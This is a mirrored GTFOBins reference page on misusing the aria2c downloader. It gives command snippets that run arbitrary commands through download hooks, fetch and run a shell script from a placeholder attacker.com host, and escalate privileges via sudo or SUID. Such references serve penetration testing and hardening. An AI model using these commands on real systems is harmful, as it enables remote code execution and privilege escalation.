1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-10-18 05:18:13 +02:00
GTFOBins.github.io/_gtfobins/aria2c.md

34 lines
1.2 KiB
Markdown
Raw Permalink Normal View History

---
description: Note that the subprocess is immediately sent to the background.
functions:
2018-10-05 19:55:38 +02:00
command:
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
aria2c --on-download-error=$TF http://x
- description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.
code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
2023-01-07 20:14:40 +01:00
file-download:
- description: Fetch a remote file via HTTP GET request. Use `--allow-overwrite` if needed.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
aria2c -o "$LFILE" "$URL"
2021-01-11 12:45:21 +01:00
sudo:
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
2021-01-11 12:45:21 +01:00
sudo aria2c --on-download-error=$TF http://x
limited-suid:
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
2021-01-11 12:45:21 +01:00
./aria2c --on-download-error=$TF http://x
---